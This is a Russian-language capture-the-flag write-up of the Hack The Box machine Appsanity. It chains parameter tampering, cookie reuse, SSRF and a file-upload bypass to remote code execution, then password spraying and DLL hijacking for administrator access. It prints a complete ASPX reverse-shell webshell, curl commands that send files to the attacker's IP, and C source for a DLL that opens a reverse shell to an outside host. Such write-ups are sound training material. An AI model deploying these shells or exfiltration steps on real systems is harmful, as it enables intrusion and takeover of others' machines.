March 19

HTB Appsanity. Используем DLL Hijacking для повышения привилегий

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

В этом рай­тапе я покажу, как мож­но при­менять тех­нику перех­вата DLL для повыше­ния при­виле­гий в Windows. Но преж­де мы ата­куем веб‑сайт и получим RCE через ком­бинацию из SSRF и уяз­вимос­ти при заг­рузке фай­лов.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Appsanity с учеб­ной пло­щад­ки Hack The Box. Уро­вень машины заяв­лен слож­ный.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.238 appsanity.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел три откры­тых пор­та:

  • 80 и 443 — веб‑сер­вер Microsoft IIS 10.0;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM.

На сер­вере все­го одна точ­ка вхо­да — это веб‑сер­вер. При этом, как отоб­ражено в выводе Nmap, про­исхо­дит редирект на сайт http://meddigi.htb. Добав­ляем этот домен в /etc/hosts и идем смот­реть сайт.

10.10.11.238 appsanity.htb meddigi.htb

Глав­ная стра­ница сай­та meddigi.htb

Сра­зу же запус­каем ска­нер под­доменов.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь;
  • -t — количес­тво потоков;
  • -H — HTTP-заголо­вок.

За­пус­каем ска­ниро­вание:

ffuf -u "https://meddigi.htb/" -H 'Host: FUZZ.meddigi.htb' -t 128 -w subdomains-top1million-110000.txt

Ре­зуль­тат ска­ниро­вания под­доменов

Спус­тя пару минут получа­ем еще один под­домен, который тоже добав­ляем в /etc/hosts.

10.10.11.238 appsanity.htb meddigi.htb portal.meddigi.htb

Глав­ная стра­ница сай­та portal.meddigi.htb

Те­перь перей­дем к ана­лизу самих сай­тов.

ТОЧКА ВХОДА

Повышение привилегий на сайте

На пер­вом сай­те, в отли­чие от вто­рого, есть воз­можность регис­тра­ции.

Фор­ма авто­риза­ции сай­та meddigi.htb

Ав­торизо­вав­шись на сай­те, получа­ем стра­ницу про­филя, где есть нес­коль­ко полей вво­да и даже воз­можность отпра­вить сооб­щение кому‑то.

Со­дер­жимое стра­ницы Profile

Но ничего инте­рес­ного най­ти не уда­лось, поэто­му вер­немся в самое начало и прос­мотрим все зап­росы в Burp History. В гла­за бро­сил­ся параметр Acctype в зап­росе на авто­риза­цию.

Зап­рос на авто­риза­цию

Вый­дем из сво­его про­филя на сай­те, акти­виру­ем перех­ват зап­роса в Burp Proxy и сно­ва прой­дем авто­риза­цию. Но в этот раз в перех­вачен­ном зап­росе изме­ним зна­чение парамет­ра Acctype на 2.

Зап­рос на авто­риза­цию
Про­филь поль­зовате­ля

На этот раз мы авто­ризо­вались как док­тор, и стра­ница про­филя содер­жит новые эле­мен­ты.

Обход авторизации

Но сно­ва ничего инте­рес­ного най­ти не уда­лось. Одна­ко здесь исполь­зует­ся сес­сия AspNet, а зна­чит, мож­но про­верить токен дос­тупа на дру­гом сай­те. Вдруг исполь­зует­ся общий механизм авто­риза­ции. Для это­го копиру­ем cookie с сай­та, где мы уже авто­ризо­вались, и исполь­зуем их на portal.meddigi.htb.

Зап­рос к portal.meddigi.htb
Глав­ная стра­ница сай­та portal.meddigi.htb

И получа­ем дос­туп к дру­гому сай­ту от име­ни авто­ризо­ван­ного поль­зовате­ля. Но так как куки встав­лялись через Burp, мы не смо­жем гулять по все­му сай­ту. Давай откро­ем бра­узер и закинем токен дос­тупа в хра­нили­ще Cookies.

Хра­нили­ще бра­узе­ра

Те­перь у нас есть пол­ноцен­ный дос­туп ко всем механиз­мам веб‑при­ложе­ния. На одной из стра­ниц раз­реша­ют сох­ранять документ по ссыл­ке, что может при­вес­ти к SSRF. На дру­гой стра­нице мож­но заг­ружать фай­лы, а это потен­циаль­но ведет к воз­можнос­ти залить шелл.

Со­дер­жимое стра­ницы prescription
Со­дер­жимое стра­ницы examreport

ТОЧКА ОПОРЫ

SSRF

На­чина­ем с фор­мы сох­ранения докумен­тов по ссыл­ке. Для про­вер­ки запус­каем на локаль­ной машине веб‑сер­вер:

python3 -m http.server 80

А затем ука­зыва­ем тес­товую ссыл­ку на этот сер­вер в поле вво­да.

Ошиб­ка отоб­ражения стра­ницы
Ло­ги веб‑сер­вера

Зап­рос с сер­вера при­ходит на внеш­ний адрес. Теперь нуж­но про­верить, при­ходит ли на внут­ренний. Для это­го ука­зыва­ем в поле вво­да адрес сай­та и в открыв­шемся окош­ке отме­чаем стра­ницу про­филя. А зна­чит, мож­но выпол­нять зап­росы на внут­ренние ресур­сы.

Отоб­ражение стра­ницы про­филя через SSRF

На этом эта­пе нам нуж­но най­ти дру­гие внут­ренние ресур­сы, к при­меру «ска­нируя» пор­ты через Burp Intruder. Для это­го в Burp Proxy ком­бинаци­ей кла­виш Ctrl-I отправ­ляем зап­рос в Intruder и ука­зыва­ем в ссыл­ке порт как мес­то перебо­ра. В нас­трой­ках ата­ки ука­зыва­ем пос­тоян­ный редирект.

Burp Intruder — вклад­ка Positions
Вклад­ка Payloads
Вклад­ка Settings

Ре­зуль­таты сор­тиру­ем по раз­меру стра­ницы и находим тот вари­ант, который отли­чает­ся от осталь­ных. А зна­чит, на пор­те 8080 работа­ет еще один сер­вис.

Ре­зуль­тат ата­ки

Этот сер­вис прос­то отоб­ража­ет спи­сок отче­тов. При перехо­де по ссыл­ке на отчет будет заг­ружен документ PDF.

Отоб­ражение стра­ницы с отче­тами через SSRF
Ис­тория зап­росов в Burp History

Здесь боль­ше делать нечего, поэто­му перехо­дим к фор­ме заг­рузки фай­лов.

File upload to RCE

Спер­ва заг­ружа­ем обыч­ный тек­сто­вый файл и прос­матри­ваем зап­рос на сер­вер в Burp Proxy.

Фор­ма заг­рузки фай­ла
Зап­рос на сер­вер в Burp Proxy

При заг­рузке такого фай­ла получа­ем ошиб­ку, так как заг­ружать мож­но толь­ко PDF-докумен­ты. Я поп­робовал поменять рас­ширение фай­ла на .pdf, но это тоже ничего полез­ного не дало. Зна­чит, про­веря­ется содер­жимое фай­ла. Все нор­маль­ные PDF начина­ются с опре­делен­ной пос­ледова­тель­нос­ти, которую мы добавим в начало заг­ружа­емо­го фай­ла: %PDF-1.7.

Но­вое содер­жимое фай­ла
Со­обще­ние об успешной заг­рузке фай­ла

Файл успешно заг­ружен, и мы можем най­ти его через SSRF на дру­гом ресур­се, где хра­нят­ся заг­ружен­ные отче­ты. Даже можем получить содер­жимое это­го фай­ла вот по такой ссыл­ке:

http://127.0.0.1:8080/ViewReport.aspx?file=940d0924-6157-4465-9d56-823d28998e67_test.txt

Спи­сок отче­тов
Со­дер­жимое заг­ружен­ного фай­ла

Так как файл отоб­ражен в тек­сто­вом виде, мы можем подоб­ным обра­зом заг­рузить на сер­вер и реверс‑шелл на ASPX. Я исполь­зую сле­дующий код:

<%@ Page Language="C#" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.Net.Sockets" %> <%@ Import Namespace="System.Security.Principal" %> <%@ Import Namespace="System.Data.SqlClient" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { String host = ""; //CHANGE THIS int port = ; ////CHANGE THIS CallbackShell(host, port); } [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; public String lpReserved; public String lpDesktop; public String lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } [DllImport("kernel32.dll")] static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); public static uint INFINITE = 0xFFFFFFFF; [DllImport("kernel32", SetLastError = true, ExactSpelling = true)] internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds); internal struct sockaddr_in { public short sin_family; public short sin_port; public int sin_addr; public long sin_zero; } [DllImport("kernel32.dll")] static extern IntPtr GetStdHandle(int nStdHandle); [DllImport("kernel32.dll")] static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); public const int STD_INPUT_HANDLE = -10; public const int STD_OUTPUT_HANDLE = -11; public const int STD_ERROR_HANDLE = -12; [DllImport("kernel32")] static extern bool AllocConsole(); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int inet_addr([In] string cp); [DllImport("ws2_32.dll")] private static extern string inet_ntoa(uint ip); [DllImport("ws2_32.dll")] private static extern uint htonl(uint ip); [DllImport("ws2_32.dll")] private static extern uint ntohl(uint ip); [DllImport("ws2_32.dll")] private static extern ushort htons(ushort ip); [DllImport("ws2_32.dll")] private static extern ushort ntohs(ushort ip); [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)] internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int send( [In] IntPtr socketHandle, [In] byte[] pinnedBuffer, [In] int len, [In] SocketFlags socketFlags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int recv( [In] IntPtr socketHandle, [In] IntPtr pinnedBuffer, [In] int len, [In] SocketFlags socketFlags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int closesocket( [In] IntPtr socketHandle ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr accept( [In] IntPtr socketHandle, [In, Out] ref sockaddr_in socketAddress, [In, Out] ref int socketAddressSize ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int listen( [In] IntPtr socketHandle, [In] int backlog ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int bind( [In] IntPtr socketHandle, [In] ref sockaddr_in socketAddress, [In] int socketAddressSize ); public enum TOKEN_INFORMATION_CLASS { TokenUser = 1, TokenGroups, TokenPrivileges, TokenOwner, TokenPrimaryGroup, TokenDefaultDacl, TokenSource, TokenType, TokenImpersonationLevel, TokenStatistics, TokenRestrictedSids, TokenSessionId } [DllImport("advapi32", CharSet = CharSet.Auto)] public static extern bool GetTokenInformation( IntPtr hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr TokenInformation, int tokeInfoLength, ref int reqLength); public enum TOKEN_TYPE { TokenPrimary = 1, TokenImpersonation } public enum SECURITY_IMPERSONATION_LEVEL { SecurityAnonymous, SecurityIdentification, SecurityImpersonation, SecurityDelegation } [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")] public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType, ref IntPtr DuplicateTokenHandle); const int ERROR_NO_MORE_ITEMS = 259; [StructLayout(LayoutKind.Sequential)] struct TOKEN_USER { public _SID_AND_ATTRIBUTES User; } [StructLayout(LayoutKind.Sequential)] public struct _SID_AND_ATTRIBUTES { public IntPtr Sid; public int Attributes; } [DllImport("advapi32", CharSet = CharSet.Auto)] public extern static bool LookupAccountSid( [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, IntPtr pSid, StringBuilder Account, ref int cbName, StringBuilder DomainName, ref int cbDomainName, ref int peUse ); [DllImport("advapi32", CharSet = CharSet.Auto)] public extern static bool ConvertSidToStringSid( IntPtr pSID, [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CloseHandle( IntPtr hHandle); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId); [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VMOperation = 0x00000008, VMRead = 0x00000010, VMWrite = 0x00000020, DupHandle = 0x00000040, SetInformation = 0x00000200, QueryInformation = 0x00000400, Synchronize = 0x00100000 } [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] extern static IntPtr GetCurrentThread(); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); [DllImport("psapi.dll", SetLastError = true)] public static extern bool EnumProcessModules(IntPtr hProcess, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule, uint cb, [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded); [DllImport("psapi.dll")] static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize); public const uint PIPE_ACCESS_OUTBOUND = 0x00000002; public const uint PIPE_ACCESS_DUPLEX = 0x00000003; public const uint PIPE_ACCESS_INBOUND = 0x00000001; public const uint PIPE_WAIT = 0x00000000; public const uint PIPE_NOWAIT = 0x00000001; public const uint PIPE_READMODE_BYTE = 0x00000000; public const uint PIPE_READMODE_MESSAGE = 0x00000002; public const uint PIPE_TYPE_BYTE = 0x00000000; public const uint PIPE_TYPE_MESSAGE = 0x00000004; public const uint PIPE_CLIENT_END = 0x00000000; public const uint PIPE_SERVER_END = 0x00000001; public const uint PIPE_UNLIMITED_INSTANCES = 255; public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff; public const uint NMPWAIT_NOWAIT = 0x00000001; public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000; public const uint GENERIC_READ = (0x80000000); public const uint GENERIC_WRITE = (0x40000000); public const uint GENERIC_EXECUTE = (0x20000000); public const uint GENERIC_ALL = (0x10000000); public const uint CREATE_NEW = 1; public const uint CREATE_ALWAYS = 2; public const uint OPEN_EXISTING = 3; public const uint OPEN_ALWAYS = 4; public const uint TRUNCATE_EXISTING = 5; public const int INVALID_HANDLE_VALUE = -1; public const ulong ERROR_SUCCESS = 0; public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2; public const ulong ERROR_PIPE_BUSY = 231; public const ulong ERROR_NO_DATA = 232; public const ulong ERROR_PIPE_NOT_CONNECTED = 233; public const ulong ERROR_MORE_DATA = 234; public const ulong ERROR_PIPE_CONNECTED = 535; public const ulong ERROR_PIPE_LISTENING = 536; [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr CreateNamedPipe( String lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr pipeSecurityDescriptor ); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool ConnectNamedPipe( IntPtr hHandle, uint lpOverlapped ); [DllImport("Advapi32.dll", SetLastError = true)] public static extern bool ImpersonateNamedPipeClient( IntPtr hHandle); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool GetNamedPipeHandleState( IntPtr hHandle, IntPtr lpState, IntPtr lpCurInstances, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout, StringBuilder lpUserName, int nMaxUserNameSize ); protected void CallbackShell(string server, int port) { string request = "Spawn Shell...\n"; Byte[] bytesSent = Encoding.ASCII.GetBytes(request); IntPtr oursocket = IntPtr.Zero; sockaddr_in socketinfo; oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0); socketinfo = new sockaddr_in(); socketinfo.sin_family = (short) AddressFamily.InterNetwork; socketinfo.sin_addr = inet_addr(server); socketinfo.sin_port = (short) htons((ushort)port); connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo)); send(oursocket, bytesSent, request.Length, 0); SpawnProcessAsPriv(oursocket); closesocket(oursocket); } protected void SpawnProcess(IntPtr oursocket) { bool retValue; string Application = Environment.GetEnvironmentVariable("comspec"); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); pSec.Length = Marshal.SizeOf(pSec); sInfo.dwFlags = 0x00000101; sInfo.hStdInput = oursocket; sInfo.hStdOutput = oursocket; sInfo.hStdError = oursocket; retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); WaitForSingleObject(pInfo.hProcess, (int)INFINITE); } protected void SpawnProcessAsPriv(IntPtr oursocket) { bool retValue; string Application = Environment.GetEnvironmentVariable("comspec"); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); pSec.Length = Marshal.SizeOf(pSec); sInfo.dwFlags = 0x00000101; IntPtr DupeToken = new IntPtr(0); sInfo.hStdInput = oursocket; sInfo.hStdOutput = oursocket; sInfo.hStdError = oursocket; if (DupeToken == IntPtr.Zero) retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); else retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); WaitForSingleObject(pInfo.hProcess, (int)INFINITE); CloseHandle(DupeToken); } </script>

Заг­рузка шел­ла

Пос­ле заг­рузки шел­ла запус­каем лис­тенер rlwrap nc -lvp 1234, обра­щаем­ся к фай­лу и получа­ем бэк­конект. В сес­сии поль­зовате­ля svc_exampanel можем про­читать пер­вый флаг.

Сес­сия поль­зовате­ля svc_exampanel
Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

В сис­теме нес­коль­ко поль­зовате­лей с прис­тавкой svc_, видимо, каж­дый из них отве­чает за опре­делен­ный веб‑сер­вис.

Спи­сок сис­темных поль­зовате­лей

Пе­рей­дем в каталог веб‑сер­вера и прос­мотрим, какие еще есть веб‑при­ложе­ния.

Со­дер­жимое катало­га C:\inetpub

Пот­ратив некото­рое вре­мя на блуж­дание по катало­гам в поис­ках информа­ции для прод­вижения, я оста­новил­ся на сер­висе ExaminationPanel. Рабочий каталог при­ложе­ния содер­жит нес­коль­ко биб­лиотек .NET.

Со­дер­жимое катало­га ExaminationPanel\bin

Биб­лиоте­ка ExaminationManagement.dll — самопис­ная, поэто­му ска­чива­ем ее для даль­нейше­го ана­лиза. Для получе­ния фай­лов с уда­лен­ного хос­та очень удоб­но и быс­тро исполь­зовать мой веб‑сер­вер с воз­можностью заг­рузки фай­лов, выпол­ненный в виде неболь­шого скрип­та на Python.

На локаль­ном хос­те запус­каем сам веб‑сер­вер:

python3 HTTPServerWithUpload.py 80

А на уда­лен­ном хос­те, с которо­го нуж­но увес­ти файл, исполь­зуем curl для заг­рузки.

curl -v -X POST http://10.10.16.8/ -H "Content-Type: multipart/form-data" -F file=@C:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll

Заг­рузка биб­лиоте­ки

При­ложе­ния .NET очень лег­ко деком­пилиру­ются, к при­меру с помощью dnSpy (увы, дав­но заб­рошен­ного). Прос­матри­вая исходни­ки раз­ных клас­сов, находим вет­ку реес­тра с какими‑то сек­ретны­ми дан­ными.

Де­ком­пилиро­ван­ный код клас­са ViewReport

По­луча­ем дан­ные из этой вет­ки реес­тра.

reg query HKLM\Software\MedDigi

Дан­ные из реес­тра

По­хоже не прос­то на ключ шиф­рования, а на целый пароль. Прос­то пос­пре­им его по всем поль­зовате­лям на служ­бе WinRM при помощи ути­литы CrackMapExec.

crackmapexec winrm 10.10.11.238 -u users.txt -p '1g0tTh3R3m3dy!!'

Ре­зуль­тат перебо­ра поль­зовате­лей

Мы обна­ружи­ли одну учет­ную запись, которая про­ходит авто­риза­цию в служ­бе. Получа­ем сес­сию поль­зовате­ля с помощью Evil-WinRM и прод­вига­емся к повыше­нию при­виле­гий.

evil-winrm -i 10.10.11.238 -u devdoc -p '1g0tTh3R3m3dy!!'

Ин­форма­ция о поль­зовате­ле

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нам необ­ходимо соб­рать информа­цию. Я буду исполь­зовать для это­го скрипт из набора PEASS для Windows.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Да­вай прой­дем­ся по наибо­лее инте­рес­ным наход­кам скрип­та.

Сре­ди уста­нов­ленных при­ложе­ний зна­чит­ся некий ReportManagement.

Ус­танов­ленные при­ложе­ния

Так­же прос­лушива­ется локаль­ный порт 100.

Спи­сок прос­лушива­емых пор­тов

Пе­рей­дем в каталог при­ложе­ния C:\Program Files\ReportManagement\ и прос­мотрим фай­лы.

Со­дер­жимое катало­га при­ложе­ния

Ска­чива­ем файл для ана­лиза и закиды­ваем в любой удоб­ный дизас­сем­блер с деком­пилято­ром. Я исполь­зую IDA Pro.

curl -v -X POST http://10.10.16.8/ -H "Content-Type: multipart/form-data" -F file=@"C:\Program Files\ReportManagement\ReportManagement.exe"

На­чина­ем с прос­мотра строк (F12).

Стро­ки в прог­рамме

На­ходим что‑то похожее на меню, перехо­дим к мес­ту исполь­зования стро­ки, пос­ле чего вызыва­ем деком­пилятор.

Де­ком­пилиро­ван­ный код при­ложе­ния

Итак, при­ложе­ние пред­лага­ет исполь­зовать одну из нес­коль­ких команд: backup, validate, recover или upload. Если прос­мотреть код с самого начала, находим фраг­мент, где прос­лушива­ется соеди­нение на уже извес­тном нам пор­те 100.

Де­ком­пилиро­ван­ный код при­ложе­ния

При­ходит­ся прос­матри­вать слиш­ком мно­го кода, но ничего инте­рес­ного, кро­ме коман­ды upload, не находим.

Де­ком­пилиро­ван­ный код при­ложе­ния

В коде упо­мянут каталог Libraries в дирек­тории при­ложе­ния. Что­бы луч­ше понимать, что про­исхо­дит, запус­тим Process Monitor и добавим в филь­тры имя при­ложе­ния.

Нас­трой­ка Process Monitor

За­пус­каем при­ложе­ние, под­клю­чаем­ся к пор­ту 100 (nc vm_address 100) и вво­дим коман­ду upload asdasd. В логах Process Monitor отме­чает­ся, что нуж­ного катало­га не сущес­тву­ет.

Ло­ги Process Monitor

Соз­даем такой каталог на сво­ей вир­туаль­ной машине и пов­торя­ем опе­рации. На этот раз в логах отме­чен поиск внут­ри соз­данно­го катало­га.

Ло­ги Process Monitor

Та­ким обра­зом, нам нуж­но ука­зывать на файл, который рас­положен в катало­ге Libraries. При­чем, как сле­дует из кода далее, под­гру­жен дол­жен быть файл с рас­ширени­ем .dll и име­нем externalupload.

Де­ком­пилиро­ван­ный код при­ложе­ния
Де­ком­пилиро­ван­ный код при­ложе­ния (про­дол­жение)

Как мож­но видеть, ответ сер­вера при переда­че коман­де upload фай­ла externalupload.dll отли­чает­ся от осталь­ных, при­чем сер­вер пыта­ется под­гру­зить эту биб­лиоте­ку.

Ло­ги netcat

DLL Hijacking

Те­перь про­верим, можем ли мы записы­вать в нуж­ный каталог на веб‑сер­вере. И, как показа­ла ути­лита icacls, наш поль­зователь такое пра­во име­ет.

Пра­ва дос­тупа на каталог

Та­ким обра­зом, мы можем сде­лать вре­донос­ную DLL, положить в нуж­ный каталог и ини­цииро­вать заг­рузку при­виле­гиро­ван­ным про­цес­сом. Одна­ко порт 100 работа­ет толь­ко для внут­ренне­го адре­са, поэто­му при­дет­ся сде­лать тун­нель. Для это­го будем исполь­зовать chisel.

На локаль­ном хос­те запус­тим сер­вер, ожи­дающий под­клю­чения (параметр --reverse) на порт 8888 (параметр -p).

chisel server --port 8888 --reverse

Те­перь на уда­лен­ном хос­те запус­тим кли­ент­скую часть. Ука­зыва­ем адрес сер­вера и порт для под­клю­чения, а так­же тип тун­неля R для рет­ран­сля­ции тра­фика с пор­та 100 нашего локаль­ного сер­вера на порт 100 уда­лен­ного сер­вера 127.0.0.1.

chisel.exe client 10.10.16.26:8888 R:100:127.0.0.1:100

В логах сер­вера дол­жны уви­деть сооб­щение о соз­дании сес­сии.

Ло­ги chisel server

Ос­талось соз­дать DLL с реверс‑шел­лом на порт 4321.

#include <windows.h> #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "w2_32") WSADATA wsaData; SOCKET wSock; struct sockaddr_in hax; STARTUPINFO sui; PROCESS_INFORMATION pi; void go() { // listener ip, port on attacker’s machine char *ip = "10.10.16.26"; short port = 4321; // init socket lib WSAStartup(MAKEWORD(2, 2), &wsaData); // create socket wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); hax.sin_family = AF_INET; hax.sin_port = htons(port); hax.sin_addr.s_addr = inet_addr(ip); // connect to remote host WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); memset(&sui, 0, sizeof(sui)); sui.cb = sizeof(sui); sui.dwFlags = STARTF_USESTDHANDLES; sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock; // start cmd.exe with redirected streams CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);} BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: go(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

Те­перь одной коман­дой ком­пилиру­ем DLL-файл, пос­ле чего раз­меща­ем нашу либу в катало­ге при­ложе­ния.

x86_64-w64-mingw32-gcc -w -Wall -o externalupload.dll -shared revshell.c -lws2_32

От­кры­ваем лис­тенер на пор­те 4321, под­клю­чаем­ся к при­ложе­нию и ини­циируем заг­рузку DLL. Получен­ная сес­сия будет от име­ни адми­нис­тра­тора.

Ра­бота с при­ложе­нием
Флаг рута

Ма­шина зах­вачена!